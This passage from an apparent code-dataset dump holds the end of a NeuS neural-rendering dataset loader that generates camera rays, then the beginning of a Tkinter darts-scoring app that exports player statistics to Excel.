conf.get_bool('camera_outside_sphere', default=True)\n        self.scale_mat_scale = conf.get_float('scale_mat_scale', default=1.1)\n\n        camera_dict = np.load(os.path.join(self.data_dir, self.render_cameras_name))\n        self.camera_dict = camera_dict\n        self.images_lis = sorted(glob(os.path.join(self.data_dir, 'image/*.png')))\n        self.n_images = len(self.images_lis)\n        self.images_np = np.stack([cv.imread(im_name) for im_name in self.images_lis]) / 256.0\n        self.masks_lis = sorted(glob(os.path.join(self.data_dir, 'mask/*.png')))\n        self.masks_np = np.stack([cv.imread(im_name) for im_name in self.masks_lis]) / 256.0\n\n        # world_mat is a projection matrix from world to image\n        self.world_mats_np = [camera_dict['world_mat_%d' % idx].astype(np.float32) for idx in range(self.n_images)]\n\n        # scale_mat: used for coordinate normalization, we assume the scene to render is inside a unit sphere at origin.\n        self.scale_mats_np = [camera_dict['scale_mat_%d' % idx].astype(np.float32) for idx in range(self.n_images)]\n\n        self.intrinsics_all = []\n        self.pose_all = [] # camera to world\n        self.inv_scale_all = [] # from bbox to unit sphere\n\n        for scale_mat, world_mat in zip(self.scale_mats_np, self.world_mats_np):\n            intrinsic, w2c_pose = decomposeP(world_mat)\n            c2w_pose = np.linalg.inv(w2c_pose)\n            self.intrinsics_all.append(torch.from_numpy(intrinsic).float())\n            self.pose_all.append(torch.from_numpy(c2w_pose).float())\n            self.inv_scale_all.append(torch.from_numpy(np.linalg.inv(scale_mat)).float())\n\n        self.images = torch.from_numpy(self.images_np.astype(np.float32)).cpu()  # [n_images, H, W, 3]\n        self.masks  = torch.from_numpy(self.masks_np.astype(np.float32)).cpu()   # [n_images, H, W, 3]\n        self.intrinsics_all = torch.stack(self.intrinsics_all).to(self.device)   # [n_images, 4, 4]\n        self.intrinsics_all_inv = torch.inverse(self.intrinsics_all)  # [n_images, 4, 4]\n        self.focal = self.intrinsics_all[0][0, 0]\n        self.pose_all = torch.stack(self.pose_all).to(self.device)  # [n_images, 4, 4]\n        self.inv_scale_all = torch.stack(self.inv_scale_all).to(self.device)  # [n_images, 4, 4]\n        self.H, self.W = self.images.shape[1], self.images.shape[2]\n        self.image_pixels = self.H * self.W\n\n        object_bbox_min = np.array([-1.01, -1.01, -1.01, 1.0])\n        object_bbox_max = np.array([ 1.01,  1.01,  1.01, 1.0])\n        # Object scale mat: region of interest to **extract mesh**\n        object_scale_mat = np.load(os.path.join(self.data_dir, self.object_cameras_name))['scale_mat_0']\n        object_bbox_min = np.linalg.inv(self.scale_mats_np[0]) @ object_scale_mat @ object_bbox_min[:, None]\n        object_bbox_max = np.linalg.inv(self.scale_mats_np[0]) @ object_scale_mat @ object_bbox_max[:, None]\n        self.object_bbox_min = object_bbox_min[:3, 0]\n        self.object_bbox_max = object_bbox_max[:3, 0]\n\n        print('Load data: End')\n\n    def gen_rays_at(self, img_idx, resolution_level=1):\n        \"\"\"\n        Generate rays at world space from one camera.\n        Args:\n            pose: [N, 4, 4] camera pose matrix from camera to world (c2w)\n            intrinsic: [N, 4, 4] camera intrinsic matrix\n            inv_scale_mat: [N, 4, 4] scale matrix from bbox to unit sphere\n        \"\"\"\n        l = resolution_level\n        tx = torch.linspace(0, self.W - 1, self.W // l)\n        ty = torch.linspace(0, self.H - 1, self.H // l)\n        pixels_x, pixels_y = torch.meshgrid(tx, ty)\n        p = torch.stack([pixels_x, pixels_y, torch.ones_like(pixels_y)], dim=-1) # W, H, 3\n        p = torch.matmul(self.intrinsics_all_inv[img_idx, None, None, :3, :3], p[:, :, :, None]).squeeze()  # W, H, 3\n        rays_v = p / torch.linalg.norm(p, ord=2, dim=-1, keepdim=True)  # W, H, 3\n        rays_v = torch.matmul(self.pose_all[img_idx, None, None, :3, :3], rays_v[:, :, :, None]).squeeze()  # W, H, 3\n        rays_o = (self.inv_scale_all[img_idx] @ self.pose_all[img_idx])[None, None, :3, 3].expand(rays_v.shape)  # W, H, 3\n        return rays_o.transpose(0, 1), rays_v.transpose(0, 1)\n\n    def gen_random_rays_at(self, img_idx, batch_size):\n        \"\"\"\n        Generate random rays at world space from one camera.\n        Args:\n            pose: [N, 4, 4] camera pose matrix from camera to world (c2w)\n            intrinsic: [N, 4, 4] camera intrinsic matrix\n            inv_scale_mat: [N, 4, 4] scale matrix from bbox to unit sphere\n        \"\"\"\n        pixels_x = torch.randint(low=0, high=self.W, size=[batch_size]).cpu()\n        pixels_y = torch.randint(low=0, high=self.H, size=[batch_size]).cpu()\n        color = self.images[img_idx][(pixels_y, pixels_x)]    # batch_size, 3\n        mask = self.masks[img_idx][(pixels_y, pixels_x)]      # batch_size, 3\n        p = torch.stack([pixels_x.cuda(), pixels_y.cuda(), torch.ones_like(pixels_y).cuda()], dim=-1).float()  # batch_size, 3\n        p = torch.matmul(self.intrinsics_all_inv[img_idx, None, :3, :3], p[:, :, None]).squeeze() # batch_size, 3\n        rays_v = p / torch.linalg.norm(p, ord=2, dim=-1, keepdim=True)    # batch_size, 3\n        rays_v = torch.matmul(self.pose_all[img_idx, None, :3, :3], rays_v[:, :, None]).squeeze()  # batch_size, 3\n        rays_o = (self.inv_scale_all[img_idx] @ self.pose_all[img_idx])[None, :3, 3].expand(rays_v.shape) # batch_size, 3\n        return torch.cat([rays_o.cpu(), rays_v.cpu(), color, mask[:, :1]], dim=-1).cuda()    # batch_size, 10\n\n    def gen_rays_between(self, idx_0, idx_1, ratio, resolution_level=1):\n        \"\"\"\n        Interpolate pose between two cameras.\n        \"\"\"\n        l = resolution_level\n        tx = torch.linspace(0, self.W - 1, self.W // l)\n        ty = torch.linspace(0, self.H - 1, self.H // l)\n        pixels_x, pixels_y = torch.meshgrid(tx, ty)\n        p = torch.stack([pixels_x, pixels_y, torch.ones_like(pixels_y)], dim=-1)  # W, H, 3\n        p = torch.matmul(self.intrinsics_all_inv[0, None, None, :3, :3], p[:, :, :, None]).squeeze()  # W, H, 3\n        rays_v = p / torch.linalg.norm(p, ord=2, dim=-1, keepdim=True)  # W, H, 3\n        trans = self.pose_all[idx_0, :3, 3] * (1.0 - ratio) + self.pose_all[idx_1, :3, 3] * ratio\n        pose_0 = self.pose_all[idx_0].detach().cpu().numpy()\n        pose_1 = self.pose_all[idx_1].detach().cpu().numpy()\n        pose_0 = np.linalg.inv(pose_0)\n        pose_1 = np.linalg.inv(pose_1)\n        rot_0 = pose_0[:3, :3]\n        rot_1 = pose_1[:3, :3]\n        rots = Rot.from_matrix(np.stack([rot_0, rot_1]))\n        key_times = [0, 1]\n        slerp = Slerp(key_times, rots)\n        rot = slerp(ratio)\n        pose = np.diag([1.0, 1.0, 1.0, 1.0])\n        pose = pose.astype(np.float32)\n        pose[:3, :3] = rot.as_matrix()\n        pose[:3, 3] = ((1.0 - ratio) * pose_0 + ratio * pose_1)[:3, 3]\n        pose = np.linalg.inv(pose)\n        rot = torch.from_numpy(pose[:3, :3]).cuda()\n        trans = torch.from_numpy(pose[:3, 3]).cuda()\n        rays_v = torch.matmul(rot[None, None, :3, :3], rays_v[:, :, :, None]).squeeze()  # W, H, 3\n        rays_o = (self.inv_scale_all[0] @ trans[None, None, :3]).expand(rays_v.shape)  # W, H, 3\n        return rays_o.transpose(0, 1), rays_v.transpose(0, 1)\n\n    def near_far_from_sphere(self, rays_o, rays_d):\n        a = torch.sum(rays_d**2, dim=-1, keepdim=True)\n        b = 2.0 * torch.sum(rays_o * rays_d, dim=-1, keepdim=True)\n        mid = 0.5 * (-b) / a\n        near = mid - 1.0\n        far = mid + 1.0\n        return near, far\n\n    def image_at(self, idx, resolution_level):\n        img = cv.imread(self.images_lis[idx])\n        return (cv.resize(img, (self.W // resolution_level, self.H // resolution_level))).clip(0, 255)\n\n","repo_name":"Tianhang-Cheng/NeuS_friendly","sub_path":"models/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":8848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"32472690178","text":"import os\nfrom tkinter import Tk\nfrom tkinter import Toplevel\nfrom tkinter import Label\nfrom tkinter import Button\nfrom tkinter import Entry\nfrom tkinter import messagebox\nfrom datetime import datetime\nfrom openpyxl import Workbook\nfrom openpyxl.styles import PatternFill\n\n# color for Excel\ngreenFill = PatternFill(start_color='92D050', end_color='92D050', fill_type='solid')\nredFill = PatternFill(start_color='FFFF0000', end_color='FFFF0000', fill_type='solid')\n\n# months for creating time-based excel\nmonths = ['Januar', 'Februar', 'März', 'April', 'Mai', 'Juni', 'Juli',\n          'August', 'September', 'Oktober', 'November', 'Dezember']\n\n# safe darts and score for each player\nplayer1 = []\nplayer2 = []\nplayer3 = []\nplayer4 = []\n\n# dictionaries for each player\nplayer1_kpis = [{\"Score\": 0, \"Darts\": 0, \"180\": 0, \"140\": 0, \"100\": 0, \"80\": 0, \"60\": 0, \"Legs\": 0}]\nplayer2_kpis = [{\"Score\": 0, \"Darts\": 0, \"180\": 0, \"140\": 0, \"100\": 0, \"80\": 0, \"60\": 0, \"Legs\": 0}]\nplayer3_kpis = [{\"Score\": 0, \"Darts\": 0, \"180\": 0, \"140\": 0, \"100\": 0, \"80\": 0, \"60\": 0, \"Legs\": 0}]\nplayer4_kpis = [{\"Score\": 0, \"Darts\": 0, \"180\": 0, \"140\": 0, \"100\": 0, \"80\": 0, \"60\": 0, \"Legs\": 0}]\n\nplayer1_scores = [{\"T20\": 0, \"T19\": 0, \"T18\": 0, \"S20\": 0, \"S19\": 0, \"S18\": 0,\n                   \"Bull\": 0, \"Single_Bull\": 0, \"Triple\": 0, \"Double\": 0, \"No_Score\": 0}]\nplayer2_scores = [{\"T20\": 0, \"T19\": 0, \"T18\": 0, \"S20\": 0, \"S19\": 0, \"S18\": 0,\n                   \"Bull\": 0, \"Single_Bull\": 0, \"Triple\": 0, \"Double\": 0, \"No_Score\": 0}]\nplayer3_scores = [{\"T20\": 0, \"T19\": 0, \"T18\": 0, \"S20\": 0, \"S19\": 0, \"S18\": 0,\n                   \"Bull\": 0, \"Single_Bull\": 0, \"Triple\": 0, \"Double\": 0, \"No_Score\": 0}]\nplayer4_scores = [{\"T20\": 0, \"T19\": 0, \"T18\": 0, \"S20\": 0, \"S19\": 0, \"S18\": 0,\n                   \"Bull\": 0, \"Single_Bull\": 0, \"Triple\": 0, \"Double\": 0, \"No_Score\": 0}]\n\n\ndef create_directory_if_not_exists():\n    \"\"\"\n    This function creates a directory for the Excel file\n    :return: return the path to the Excel file\n    \"\"\"\n    if not os.path.isdir(\"Spielstände\"):\n        os.mkdir(\"Spielstände\")\n\n    if not os.path.isdir(\"Spielstände/Scoring\"):\n        os.mkdir(\"Spielstände/Scoring\")\n\n    # current year\n    current_year = datetime.now().strftime('%Y')\n    if not os.path.isdir(\"Spielstände/Scoring/\" + current_year):\n        os.mkdir(\"Spielstände/Scoring/\" + current_year)\n\n    # current month\n    current_month = datetime.now().strftime('%m')\n    month_name = months[int(current_month) - 1]\n    if not os.path.isdir(\"Spielstände/Scoring/\" + current_year + \"/\" + month_name):\n        os.mkdir(\"Spielstände/Scoring/\" + current_year + \"/\" + month_name)\n\n    # current day\n    current_day = int(datetime.now().strftime('%d'))\n    date = str(current_day) + \".\" + str(current_month)\n    if not os.path.isdir(\"Spielstände/Scoring/\" + current_year + \"/\" + month_name + \"/\" + date):\n        os.mkdir(\"Spielstände/Scoring/\" + current_year + \"/\" + month_name + \"/\" + date)\n\n    # create new score - file\n    time = datetime.now().strftime('%H-%M-%S')\n\n    path = \"Spielstände/Scoring/\" + current_year + \"/\" + \\\n           month_name + \"/\" + date + \"/\" + time + \".xlsx\"\n\n    return path\n\n\ndef set_standards_in_excel(sheet):\n    \"\"\"\n    This function fills the cells in the Excel sheet\n    :param sheet: the Excel sheet to write in\n    :return:\n    \"\"\"\n    sheet['A3'].fill = greenFill\n    sheet['B3'].fill = greenFill\n    sheet['C3'].fill = greenFill\n    sheet['D3'].fill = greenFill\n    sheet['E3'].fill = greenFill\n    sheet['F3'].fill = greenFill\n    sheet['G3'].fill = greenFill\n    sheet['H3'].fill = greenFill\n    sheet['I3'].fill = greenFill\n    sheet['J3'].fill = greenFill\n    sheet['K3'].fill = redFill\n    sheet['L3'].fill = redFill\n    sheet['M3'].fill = greenFill\n    sheet['N3'].fill = greenFill\n    sheet['O3'].fill = redFill\n    sheet['P3'].fill = redFill\n    sheet['Q3'].fill = greenFill\n    sheet['R3'].fill = redFill\n    sheet['S3'].fill = greenFill\n    sheet['T3'].fill = redFill\n    sheet['U3'].fill = greenFill\n\n    sheet.column_dimensions['B'].width = 16\n    sheet.column_dimensions['C'].width = 8\n    sheet.column_dimensions['I'].width = 18\n    sheet.column_dimensions['J'].width = 18\n    sheet.column_dimensions['K'].width = 14\n    sheet.column_dimensions['L'].width = 14\n    sheet.column_dimensions['M'].width = 14\n    sheet.column_dimensions['N'].width = 14\n    sheet.column_dimensions['O'].width = 14\n    sheet.column_dimensions['P'].width = 14\n    sheet.column_dimensions['Q'].width = 21\n    sheet.column_dimensions['R'].width = 15\n    sheet.column_dimensions['S'].width = 17\n    sheet.column_dimensions['T'].width = 17\n    sheet.column_dimensions['U'].width = 12\n\n\ndef fill_values_in_cells(sheet):\n    \"\"\"\n    This function sets standard values in the Excel file\n    :param sheet: the Excel sheet to write in\n    :return:\n    \"\"\"\n    sheet.cell(row=3, column=1).value = \"Legs won\"\n    sheet.cell(row=3, column=2).value = \"Spieler\"\n    sheet.cell(row=3, column=3).value = \"Average\"\n    sheet.cell(row=3, column=4).value = \"180\"\n    sheet.cell(row=3, column=5).value = \"140+\"\n    sheet.cell(row=3, column=6).value = \"100+\"\n    sheet.cell(row=3, column=7).value = \"80+\"\n    sheet.cell(row=3, column=8).value = \"60+\"\n\n    sheet.cell(row=3, column=9).value = \"Thrown Points\"\n    sheet.cell(row=3, column=10).value = \"Thrown Darts\"\n    sheet.cell(row=3, column=11).value = \"Thrown T20\"\n    sheet.cell(row=3, column=12).value = \"Thrown S20\"\n    sheet.cell(row=3, column=13).value = \"Thrown T19\"\n    sheet.cell(row=3, column=14).value = \"Thrown S19\"\n    sheet.cell(row=3, column=15).value = \"Thrown T18\"\n    sheet.cell(row=3, column=16).value = \"Thrown S18\"\n    sheet.cell(row=3, column=17).value = \"Thrown Single-Bulls\"\n    sheet.cell(row=3, column=18).value = \"Thrown Bulls\"\n    sheet.cell(row=3, column=19).value = \"Thrown Triple\"\n    sheet.cell(row=3, column=20).value = \"Thrown Double\"\n    sheet.cell(row=3, column=21).value = \"No hit\"\n\n    # set player names in Excel\n    sheet.cell(row=4, column=2).value = label_player_1_name['text']\n    sheet.cell(row=5, column=2).value = label_player_2_name['text']\n    sheet.cell(row=6, column=2).value = label_player_3_name['text']\n    sheet.cell(row=7, column=2).value = label_player_4_name['text']\n\n\ndef add_players(sheet):\n    \"\"\"\n    This function adds player 3 and 4 to the Excel file if they exist\n    :param sheet: the Excel sheet to write in\n    :return:\n    \"\"\"\n    # player 3\n    if int(label_number_players['text']) >= 3:\n        sheet.cell(row=6, column=1).value = player3_kpis[0]['Legs']\n        sheet.cell(row=6, column=3).value = round((player3_kpis[0]['Score'] /\n                                                   player3_kpis[0]['Darts']) * 3, 2)\n        sheet.cell(row=6, column=4).value = player3_kpis[0]['180']\n        sheet.cell(row=6, column=5).value = player3_kpis[0]['140']\n        sheet.cell(row=6, column=6).value = player3_kpis[0]['100']\n        sheet.cell(row=6, column=7).value = player3_kpis[0]['80']\n        sheet.cell(row=6, column=8).value = player3_kpis[0]['60']\n\n        sheet.cell(row=6, column=9).value = player3_kpis[0]['Score']\n        sheet.cell(row=6, column=10).value = player3_kpis[0]['Darts']\n\n        sheet.cell(row=6, column=11).value = player3_scores[0]['T20']\n        sheet.cell(row=6, column=12).value = player3_scores[0]['S20']\n        sheet.cell(row=6, column=13).value = player3_scores[0]['T19']\n        sheet.cell(row=6, column=14).value = player3_scores[0]['S19']\n        sheet.cell(row=6, column=15).value = player3_scores[0]['T18']\n        sheet.cell(row=6, column=16).value = player3_scores[0]['S18']\n        sheet.cell(row=6, column=17).value = player3_scores[0]['Single_Bull']\n        sheet.cell(row=6, column=18).value = player3_scores[0]['Bull']\n        sheet.cell(row=6, column=19).value = player3_scores[0]['Triple']\n        sheet.cell(row=6, column=20).value = player3_scores[0]['Double']\n        sheet.cell(row=6, column=21).value = player3_scores[0]['No_Score']\n\n    # player 4\n    if int(label_number_players['text']) == 4:\n        sheet.cell(row=7, column=1).value = player4_kpis[0]['Legs']\n        sheet.cell(row=7, column=3).value = round((player4_kpis[0]['Score'] /\n                                                   player4_kpis[0]['Darts']) * 3, 2)\n        sheet.cell(row=7, column=4).value = player4_kpis[0]['180']\n        sheet.cell(row=7, column=5).value = player4_kpis[0]['140']\n        sheet.cell(row=7, column=6).value = player4_kpis[0]['100']\n        sheet.cell(row=7, column=7).value = player4_kpis[0]['80']\n        sheet.cell(row=7, column=8).value = player4_kpis[0]['60']\n\n        sheet.cell(row=7, column=9).value = player4_kpis[0]['Score']\n        sheet.cell(row=7, column=10).value = player4_kpis[0]['Darts']\n\n        sheet.cell(row=7, column=11).value = player4_scores[0]['T20']\n        sheet.cell(row=7, column=12).value = player4_scores[0]['S20']\n        sheet.cell(row=7, column=13).value = player4_scores[0]['T19']\n        sheet.cell(row=7, column=14).value = player4_scores[0]['S19']\n        sheet.cell(row=7, column=15).value = player4_scores[0]['T18']\n        sheet.cell(row=7, column=16).value = player4_scores[0]['S18']\n        sheet.cell(row=7, column=17).value = player4_scores[0]['Single_Bull']\n        sheet.cell(row=7, column=18).value = player4_scores[0]['Bull']\n        sheet.cell(row=7, column=19).value = player4_scores[0]['Triple']\n        sheet.cell(row=7, column=20).value = player4_scores[0]['Double']\n        sheet.cell(row=7, column=21).value = player4_scores[0]['No_Score']\n\n\ndef create_excel():\n    \"\"\"\n    This function creates an Excel file\n    :return:\n    \"\"\"\n    path = create_directory_if_not_exists()\n\n    excel_file = Workbook()\n    sheet = excel_file.create_sheet('Scoring')\n\n    set_standards_in_excel(sheet)\n    fill_values_in_cells(sheet)\n\n    # player 1\n    sheet.cell(row=4, column=1).value = player1_kpis[0]['Legs']\n    sheet.cell(row=4, column=3).value = round((player1_kpis[0]['Score'] /\n                                               player1_kpis[0]['Darts']) * 3, 2)\n    sheet.cell(row=4, column=4).value = player1_kpis[0]['180']\n    sheet.cell(row=4, column=5).value = player1_kpis[0]['140']\n    sheet.cell(row=4, column=6).value = player1_kpis[0]['100']\n    sheet.cell(row=4, column=7).value = player1_kpis[0]['80']\n    sheet.cell(row=4, column=8).value = player1_kpis[0]['60']\n\n    sheet.cell(row=4, column=9).value = player1_kpis[0]['Score']\n    sheet.cell(row=4, column=10).value = player1_kpis[0]['Darts']\n\n    sheet.cell(row=4, column=11).value = player1_scores[0]['T20']\n    sheet.cell(row=4, column=12).value = player1_scores[0]['S20']\n    sheet.cell(row=4, column=13).value = player1_scores[0]['T19']\n    sheet.cell(row=4, column=14).value = player1_scores[0]['S19']\n    sheet.cell(row=4, column=15).value = player1_scores[0]['T18']\n    sheet.cell(row=4, column=16).value = player1_scores[0]['S18']\n    sheet.cell(row=4, column=17).value = player1_scores[0]['Single_Bull']\n    sheet.cell(row=4, column=18).value = player1_scores[0]['Bull']\n    sheet.cell(row=4, column=19).value = player1_scores[0]['Triple']\n    sheet.cell(row=4, column=20).value = player1_scores[0]['Double']\n    sheet.cell(row=4, column=21).value = player1_scores[0]['No_Score']\n\n    # player 2\n    sheet.cell(row=5, column=1).value = player2_kpis[0]['Legs']\n    sheet.cell(row=5, column=3).value = round((player2_kpis[0]['Score'] /\n                                               player2_kpis[0]['Darts']) * 3, 2)\n    sheet.cell(row=5, column=4).value = player2_kpis[0]['180']\n    sheet.cell(row=5, column=5).value = player2_kpis[0]['140']\n    sheet.cell(row=5, column=6).value = player2_kpis[0]['100']\n    sheet.cell(row=5, column=7).value = player2_kpis[0]['80']\n    sheet.cell(row=5, column=8).value = player2_kpis[0]['60']\n\n    sheet.cell(row=5, column=9).value = player2_kpis[0]['Score']\n    sheet.cell(row=5, column=10).value = player2_kpis[0]['Darts']\n\n    sheet.cell(row=5, column=11).value = player2_scores[0]['T20']\n    sheet.cell(row=5, column=12).value = player2_scores[0]['S20']\n    sheet.cell(row=5, column=13).value = player2_scores[0]['T19']\n    sheet.cell(row=5, column=14).value = player2_scores[0]['S19']\n    sheet.cell(row=5, column=15).value = player2_scores[0]['T18']\n    sheet.cell(row=5, column=16).value = player2_scores[0]['S18']\n    sheet.cell(row=5, column=17).value = player2_scores[0]['Single_Bull']\n    sheet.cell(row=5, column=18).value = player2_scores[0]['Bull']\n    sheet.cell(row=5, column=19).value = player2_scores[0]['Triple']\n    sheet.cell(row=5, column=20).value = player2_scores[0]['Double']\n    sheet.cell(row=5, column=21).value = player2_scores[0]['No_Score']\n\n    add_players(sheet)\n\n    # save excel - file\n    excel_file.save(path)\n    messagebox.showinfo(\"Info\", \"Excel - file was successfully created.\")\n\n\ndef reset():\n    \"\"\"\n    This function restores the original state\n    :return:\n    \"\"\"\n    clear_players()\n\n    # disable excel button\n    button_create_excel.pack()\n    button_create_excel.pack_forget()\n\n    # disable all throw buttons\n    button_triple_20.pack()\n    button_double_20.pack()\n    button_single_20.pack()\n    button_triple_19.pack()\n    button_double_19.pack()\n    button_single_19.pack()\n    button_triple_18.pack()\n    button_double_18.pack()\n    button_single_18.pack()\n    button_triple_17.pack()\n    button_double_17.pack()\n    button_single_17.pack()\n\n    button_triple_20.pack_forget()\n    button_double_20.pack_forget()\n    button_single_20.pack_forget()\n    button_triple_19.pack_forget()\n    button_double_19.pack_forget()\n    button_single_19.pack_forget()\n    button_triple_18.pack_forget()\n    button_double_18.pack_forget()\n    button_single_18.pack_forget()\n    button_triple_17.pack_forget()\n    button_double_17.pack_forget()\n    button_single_17.pack_forget()\n\n    button_triple_16.pack()\n    button_double_16.pack()\n    button_single_16.pack()\n    button_triple_15.pack()\n    button_double_15.pack()\n    button_single_15.pack()\n    button_triple_14.pack()\n    button_double_14.pack()\n    button_single_14.pack()\n\n    button_triple_16.pack_forget()\n    button_double_16.pack_forget()\n    button_single_16.pack_forget()\n    button_triple_15.pack_forget()\n    button_double_15.pack_forget()\n    button_single_15.pack_forget()\n    button_triple_14.pack_forget()\n    button_double_14.pack_forget()\n    button_single_14.pack_forget()\n\n    reset2()\n\n\ndef reset2():\n    \"\"\"\n    This function restores the original state\n    :return:\n    \"\"\"\n    button_triple_13.pack()\n    button_double_13.pack()\n    button_single_13.pack()\n    button_triple_13.pack_forget()\n    button_double_13.pack_forget()\n    button_single_13.pack_forget()\n\n    button_triple_12.pack()\n    button_double_12.pack()\n    button_single_12.pack()\n    button_triple_11.pack()\n    button_double_11.pack()\n    button_single_11.pack()\n    button_triple_10.pack()\n    button_double_10.pack()\n    button_single_10.pack()\n    button_triple_9.pack()\n    button_double_9.pack()\n    button_single_9.pack()\n\n    button_triple_12.pack_forget()\n    button_double_12.pack_forget()\n    button_single_12.pack_forget()\n    button_triple_11.pack_forget()\n    button_double_11.pack_forget()\n    button_single_11.pack_forget()\n    button_triple_10.pack_forget()\n    button_double_10.pack_forget()\n    button_single_10.pack_forget()\n    button_triple_9.pack_forget()\n    button_double_9.pack_forget()\n    button_single_9.pack_forget()\n\n    button_triple_8.pack()\n    button_double_8.pack()\n    button_single_8.pack()\n    button_triple_7.pack()\n    button_double_7.pack()\n    button_single_7.pack()\n    button_triple_6.pack()\n    button_double_6.pack()\n    button_single_6.pack()\n\n    button_triple_8.pack_forget()\n    button_double_8.pack_forget()\n    button_single_8.pack_forget()\n    button_triple_7.pack_forget()\n    button_double_7.pack_forget()\n    button_single_7.pack_forget()\n    button_triple_6.pack_forget()\n    button_double_6.pack_forget()\n    button_single_6.pack_forget()\n\n    reset3()\n\n\ndef reset3():\n    \"\"\"\n    This function restores the original state\n    :return:\n    \"\"\"\n    button_triple_5.pack()\n    button_double_5.pack()\n    button_single_5.pack()\n    button_triple_4.pack()\n    button_double_4.pack()\n    button_single_4.pack()\n    button_triple_3.pack()\n    button_double_3.pack()\n    button_single_3.pack()\n    button_triple_2.pack()\n    button_double_2.pack()\n    button_single_2.pack()\n    button_triple_1.pack()\n    button_double_1.pack()\n    button_single_1.pack()\n\n    button_triple_5.pack_forget()\n    button_double_5.pack_forget()\n    button_single_5.pack_forget()\n    button_triple_4.pack_forget()\n    button_double_4.pack_forget()\n    button_single_4.pack_forget()\n    button_triple_3.pack_forget()\n    button_double_3.pack_forget()\n    button_single_3.pack_forget()\n    button_triple_2.pack_forget()\n    button_double_2.pack_forget()\n    button_single_2.pack_forget()\n    button_triple_1.pack_forget()\n    button_double_1.pack_forget()\n    button_single_1.pack_forget()\n\n    button_bull.pack()\n    button_single_bull.pack()\n    button_0.pack()\n\n    button_bull.pack_forget()\n    button_single_bull.pack_forget()\n    button_0.pack_forget()\n\n    # disable all player names and scores\n    label_player_1_name.pack()\n    label_player_2_name.pack()\n    label_player_3_name.pack()\n    label_player_4_name.pack()\n\n    label_player_1_name.pack_forget()\n    label_player_2_name.pack_forget()\n    label_player_3_name.pack_forget()\n    label_player_4_name.pack_forget()\n\n    reset4()\n\n\ndef reset4():\n    \"\"\"\n    This function restores the original state\n    :return:\n    \"\"\"\n\n    label_1_score.pack()\n    label_2_score.pack()\n    label_3_score.pack()\n    label_4_score.pack()\n\n    label_1_score.pack_forget()\n    label_2_score.pack_forget()\n    label_3_score.pack_forget()\n    label_4_score.pack_forget()\n\n    zwischen_label.pack()\n    zwischen_label.pack_forget()\n\n    label_first_dart.pack()\n    label_second_dart.pack()\n    label_third_dart.pack()\n\n    label_first_dart.pack_forget()\n    label_second_dart.pack_forget()\n    label_third_dart.pack_forget()\n\n    next_button.pack()\n    next_button.pack_forget()\n\n    button_dart_score.pack()\n    button_dart_score.pack_forget()\n\n    label_dart_score.pack()\n    label_dart_score.pack_forget()\n\n    label_switch_starting_points.place(x=587.5, y=120, height=30, width=100)\n    button_dec_starting_points.place(x=557.5, y=120, height=30, width=30)\n    button_inc_starting_points.place(x=687.5, y=120, height=30, width=30)\n\n    label_number_players.place(x=587.5, y=200, height=30, width=100)\n    button_minus_number_players.place(x=557.5, y=200, height=30, width=30)\n    button_plus_number_players.place(x=687.5, y=200, height=30, width=30)\n\n    input_name1.place(x=563.5, y=280, height=30, width=150)\n    input_name2.place(x=563.5, y=330, height=30, width=150)\n\n    label_welcome.place(x=337.5, y=20, height=50, width=600)\n    button_continue.place(x=750, y=120, height=30, width=100)\n\n    label_switch_starting_points['text'] = \"501\"\n    label_number_players['text'] = \"2\"\n\n\ndef save_score():\n    \"\"\"\n    This function saves the score for player 1 and player 2\n    :return:\n    \"\"\"\n    # update player 1\n    for item in player1:\n        score = item['Score']\n        darts = item['Darts']\n\n        player1_kpis[0]['Score'] += score\n        player1_kpis[0]['Darts'] += darts\n\n        if score == 180:\n            player1_kpis[0]['180'] += 1\n\n        elif score >= 140:\n            player1_kpis[0]['140'] += 1\n\n        elif score >= 100:\n            player1_kpis[0]['100'] += 1\n\n        elif score >= 80:\n            player1_kpis[0]['80'] += 1\n\n        elif score >= 60:\n            player1_kpis[0]['60'] += 1\n\n    # update player 2\n    for item in player2:\n        score = item['Score']\n        darts = item['Darts']\n\n        player2_kpis[0]['Score'] += score\n        player2_kpis[0]['Darts'] += darts\n\n        if score == 180:\n            player2_kpis[0]['180'] += 1\n\n        elif score >= 140:\n            player2_kpis[0]['140'] += 1\n\n        elif score >= 100:\n            player2_kpis[0]['100'] += 1\n\n        elif score >= 80:\n            player2_kpis[0]['80'] += 1\n\n        elif score >= 60:\n            player2_kpis[0]['60'] += 1\n\n    save_score2()\n\n\ndef save_score2():\n    \"\"\"\n    This function is called bei save-score and saves the scores for player 3 and 4\n    :return\n    \"\"\"\n    # update player 3\n    for item in player3:\n        score = item['Score']\n        darts = item['Darts']\n\n        player3_kpis[0]['Score'] += score\n        player3_kpis[0]['Darts'] += darts\n\n        if score == 180:\n            player3_kpis[0]['180'] += 1\n\n        elif score >= 140:\n            player3_kpis[0]['140'] += 1\n\n        elif score >= 100:\n            player3_kpis[0]['100'] += 1\n\n        elif score >= 80:\n            player3_kpis[0]['80'] += 1\n\n        elif score >= 60:\n            player3_kpis[0]['60'] += 1\n\n    # update player 4\n    for item in player4:\n        score = item['Score']\n        darts = item['Darts']\n\n        player4_kpis[0]['Score'] += score\n        player4_kpis[0]['Darts'] += darts\n\n        if score == 180:\n            player4_kpis[0]['180'] += 1\n\n        elif score >= 140:\n            player4_kpis[0]['140'] += 1\n\n        elif score >= 100:\n            player4_kpis[0]['100'] += 1\n\n        elif score >= 80:\n            player4_kpis[0]['80'] += 1\n\n        elif score >= 60:\n            player4_kpis[0]['60'] += 1\n\n\ndef add_player1(result, dart):\n    \"\"\"\n    This function adds a throw to the list\n    :param result: thrown points\n    :param dart: number of darts\n    :return:\n    \"\"\"\n    player1.append({\"Score\": result, \"Darts\": dart})\n\n\ndef add_player2(result, dart):\n    \"\"\"\n    This function adds a throw to the list\n    :param result: thrown points\n    :param dart: number of darts\n    :return:\n    \"\"\"\n    player2.append({\"Score\": result, \"Darts\": dart})\n\n\ndef add_player3(result, dart):\n    \"\"\"\n    This function adds a throw to the list\n    :param result: thrown points\n    :param dart: number of darts\n    :return:\n    \"\"\"\n    player3.append({\"Score\": result, \"Darts\": dart})\n\n\ndef add_player4(result, dart):\n    \"\"\"\n    This function adds a throw to the list\n    :param result: thrown points\n    :param dart: number of darts\n    :return:\n    \"\"\"\n    player4.append({\"Score\": result, \"Darts\": dart})\n\n\ndef t20():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T20\"\n    label_dart_score['text'] = \"60\"\n\n\ndef 